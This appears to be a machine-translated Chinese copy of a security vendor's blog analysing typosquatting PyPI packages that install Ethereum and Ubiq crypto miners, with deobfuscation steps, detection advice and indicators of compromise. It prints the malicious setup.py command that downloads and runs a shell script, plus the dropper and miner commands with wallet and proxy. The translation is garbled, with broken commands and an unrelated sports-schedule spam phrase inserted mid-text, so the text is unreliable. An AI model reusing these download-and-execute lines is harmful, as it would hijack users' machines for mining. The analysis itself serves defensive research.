受攻击的开发者——利用Typosquatting进行加密挖掘

利用Typosquatting进行加密挖掘

评审人员:

  • Shachar Menashe,安全研究高级主管
  • Itay Vaknin,威胁情报研究员

现代软件开发过程的复杂性及其对大型社区维护的代码库的依赖给开发人员引入了一种风险,即不经意地将恶意代码包含到项目中。其影响可能很严重:在许多情况下,这可能意味着攻击者完全接管了已开发的程序或设备。

攻击者试图通过几种方式生成这种场景,其中包括试图将恶意或易受攻击的代码引入开源项目,以及使用Typosquatting(将恶意代码添加到软件存储库中,例如PyPInpm在可能错误地包含在项目中的名称下(例如合法软件包的错误拼写名称)。

在这篇博客文章中,我们介绍了我们自己在Sonatype的新检测基础上所做的额外研究,其中一些PyPI包被检测为恶意包,打包了一个加密矿工有效载荷EthereumUbiq对攻击者来说。

具体而言,我们将:

  1. 讨论用于自动检测这些恶意包的其他方法,这些方法可能表明可能存在供应链攻击
  2. 提供一种简单的方法来解混淆攻击者的包
  3. 分析其中一个攻击包的新变种
  4. 提供可操作的解决方案,开发人员可以使用这些解决方案来检测和防止对其机器的此类攻击

攻击的流向

恶意发布包的打字攻击流程可以归纳为以下几个方面:

  1. 攻击者在PyPI -中发布了6个恶意包
    • Maratlibmaratlib1mplatlibmatplatlib-plus- typposquatting包暗指流行matplotlibmplotlab
    • learninglibmllearnlib-输入包暗示learnlib和mllearn
    • 上面的一些包只是代理包,其中包含一个实际的恶意包作为其依赖的一部分
  2. 恶意包下载并执行有效负载shell脚本
  3. 负载shell脚本下载并执行第三方加密矿机,T-Rex用于挖掘以太坊,ubqminer / PhoenixMiner用于挖掘Ubiq。资金被转移到几个矿池中,包括:
    • Kryptex 0 x510aec7f266557b7de753231820571b13eb31b57
    • Kryptex 0 xbaef4a87e8a92ad5911bc5b0a2a02ed9867c0124
    • Daggerhashimoto.usa-east.nicehash.com
    • daggerhashimoto.eu-north.nicehash.com

或者用图的形式-表示

攻击的流向

typposquating的简要概述

Typosquatting是一种获得(或“蹲下”)一个带有轻微印刷错误的流行名称的做法。例如,购买域名“gogle.com”(而不是合法的“google.com”),希望用户偶尔会出现输入错误,从而访问非法域名。这可以进一步用于网络钓鱼和代码注入攻击。这种做法适用于许多不同的资源,例如网页、软件包名称,甚至可执行文件名。2022世界杯阿根廷预选赛赛程在本例中,对PyPI执行了输入错误攻击,同时捕获了在使用pip install时拼错“matplotlib”包名的任何开发人员。

Python有效负载- Naïve Typosquatting vs.木马包

在这种攻击的情况下,Python有效载荷非常短且简单

(节选自maratlib包,版本0.6)

#编码:UTF-8导入系统…从setuptools导入setup print(__import__("subprocess")。getoutput("cd /tmp && wget https://github.com/nedog123/files/raw/main/aza.sh -O gay.sh && chmod 777 gay.sh && bash gay.sh")) setup(name="maratlib", version="0.6", description=l111_cringe_ (u"ࠧࡤࡷࡰࠫࠃ"),# Obfuscated string packages=[], author_email=l111_cringe_ (u"ࠨࡤࡃ࡫ࡲࡧࡩ࡭࠰ࡦࡳࡲ࠭ࠄ"),# Obfuscated string zip_safe=False)

由于这是整个Python负载,因此使用自动化方法进行检测是基本的,因为“下载并执行”命令(特别是在通过子进程使用shell时)是高度恶意的。

之前的一些供应链攻击要微妙得多,并引入了一个“木马库”——意思是一个实际上有一些用途的库,但其中隐藏了一小段恶意软件代码。例如,在之前的攻击中,一个恶意的npm包为控制台提供了丰富多彩的日志记录功能,以及一个隐藏的凭证窃取程序。

Matplatlib-plus——上面的一个小变化

matplatlib-pluspayload与Sonatype的文章中研究过的maratlib略有不同。从高层次的角度来看,它的操作类似-即从其GitHub存储库下载T-Rex加密矿机并运行它,但有几个不同之处:

此版本使用基于- 23.105.226.116:2016的SOCKS5代理来下载有效载荷和所有T-Rex通信:

./trex -a ethash -o stratum+tcp://daggerhashimoto[.]eu-north[.]nicehash[.]]com:3353 -u 37VqQP17yALTSzrH6MkQaLWuj6LfWFk8WL。Yandex2——代理23[.]105[.]226[.][116:2016 -fee 0 > frgjdse .

此外,这里使用的混淆技术更复杂一些,所有的算术运算都被替换为lambdas:

λ

该代码还定期连接到这些流行的url之一,可能是为了检查网络连接:

受欢迎的url

shell脚本“dropper”

如前所示,Python有效负载将下载并执行一个drop脚本。

drop是一个shell脚本aza.shaza2.sh,这是非常天真的,即使是粗略的第一眼也会引起怀疑。

wget https://github.com/nanopool/phoenix-miner/releases/download/4.2c/PhoenixMiner_4.2c_Linux.tar.gz tar xzf phoenixminer_4.2 . 2c_linux .tar.gz cd phoenixminer_4.2 . 2c_linux chmod +x PhoenixMiner && ./PhoenixMiner -coin ubq -wal 0x510aec7f266557b7de753231820571b13eb31b57/v2de4b8ab4 -pool ubq.kryptex.network:7000…

正如我们所看到的,dropper只是下载并执行一个加密矿工(在本例中为PhoenixMiner),并将结果发送到硬编码的Kryptex钱包。

这里没有做任何混淆的工作,而且这个shell脚本也很容易被检测到,如果仅仅是因为使用了一个著名的加密矿工工具的话。

克服包的混淆

攻击者使用混淆来保护恶意逻辑不受手动分析和自动静态分析程序的攻击。

在最初的文章中,通过查找旧版本的恶意“maratlib”包,“跳过”了混淆,但是正如我们将在这里展示的那样,处理新版本(例如,maratlib 1.0)的混淆也非常简单。

代码一开始可能看起来非常混乱——前400行代码是乱码,包括base64字符串和算术运算

克服包混淆1

但更仔细的分析表明,大多数变量和操作都是“垃圾代码”,旨在误导人工调查,实际上并没有在恶意软件的逻辑中使用。剩下的代码要清晰得多,但阅读起来仍然很有挑战性:

克服包混淆2

从上图可以看出,攻击者主要基于字符串加密进行混淆。这个函数l1ll1ll11_lol_接受加密字符串作为参数并返回原始字符串。

通过在解释器中打印出函数的输出,可以很容易地扭转这种混淆。例如,可以通过查找对obfuscator函数的所有调用并使用打印(…)然后重新运行在一个安全的环境中(如虚拟机):

克服包混淆3

通过合适的脚本自动执行此任务后,我们将获得实际的恶意代码,在本例中,它下载并执行shell脚本seo.sh:

克服包混淆4

类型化结论——发现与预防

自动检测混淆包

在我们的案例中,由于使用了混淆,JFrog安全研究团队(以前是Vdoo)检测到这些包具有潜在的恶意。具体来说,我们可以看到在maratlib和maratlib1中使用了基于值的混淆:

使用eval在Python脚本中(特别是通过PyPI发布的脚本)是立即引起怀疑的,因为:

  1. 假设eval输入来自外部源(例如网络输入)。在这种情况下,此操作可能是动态代码加载攻击,其目的是掩盖模块的真实代码(混淆),或者作为休眠后门,可以在稍后加载攻击者发送的恶意有效负载。
  2. 如果eval输入是静态的(就像在这个例子中一样),这个操作可以用于混淆目的

加上适当的过滤器以避免误报,eval的使用是恶意活动的有力指示器。

自动检测打字攻击

促进这种攻击的一些属性(从攻击者的角度来看)实际上可以用来对付攻击者。目标包必须是高度可见的:位于广泛使用的存储库中,并且足够广泛。选择的拼写错误的名称应该与目标包的名称足够接近,这很容易使用众所周知的度量(Levenshtein或编辑距离)。因此,即使从非常浅层的元数据(包名和使用统计数据)中,也可以通过选择与另一个流行包编辑距离较短的包,轻松找到Typosquatting的候选包。将其用作一阶过滤器,然后可以研究可疑包的源代码(手动或自动),并查找恶意行为的其他指标,例如网络接口、加密API的使用或前面提到的任何恶意指标。

开发人员防止误输入和依赖混淆的操作

开发者可以自行解决问题以避免此类攻击:

  1. 检查所有的Python依赖项,检查所有的requirements.txt文件,并将所有依赖项传递给脚本,例如pypi-scan可以识别目前在PyPI上的现有Typosquatting候选人。确保在各种代码库中没有将这些候选项标记为依赖项。

防止依赖关系混淆——在构建过程中解析依赖关系时,管理查询存储库和提取工件的方式,例如,通过设置排除规则来防止在远程存储库中搜索内部私有工件,或者定义为了解析依赖关系而搜索不同存储库的顺序。更多信息可在我们最近的博客文章

维护人员防止对流行包存储库进行Typosquatting攻击的操作

一些包管理器维护者决定采取更积极的方法来阻止这些攻击,例如,在PyPI上,除了删除恶意包之外,还有一些用户故意保留“容易输入错误”的名称,以便它们不能被恶意使用(例如用户)htdge已经为一些包做了这个)。

npm维护者自己也扮演着积极的角色,并在“保安持有包”.

附录- ioc

Python包:

  • maratlib
  • maratlib1
  • mplatlib
  • matplatlib-plus
  • learninglib
  • mllearnlib

“诱导多能性”:

  • 23.105.226.116 (SOCKS5代理)告警解释

域:

  • (地层矿池)
  • 地层矿池(daggerhashmoto.eu-north.nicehash.com)

问题吗?想法吗?如有任何疑问,请致电research@www.si-fil.com与我们联系安全漏洞

除了发现并负责任地披露漏洞作为我们日常活动的一部分之外,JFrog安全研究团队还通过授权组织通过自动安全分析发现漏洞来增强软件安全性。有关JFrog DevOps平台安全特性的更多信息和更新-点击这里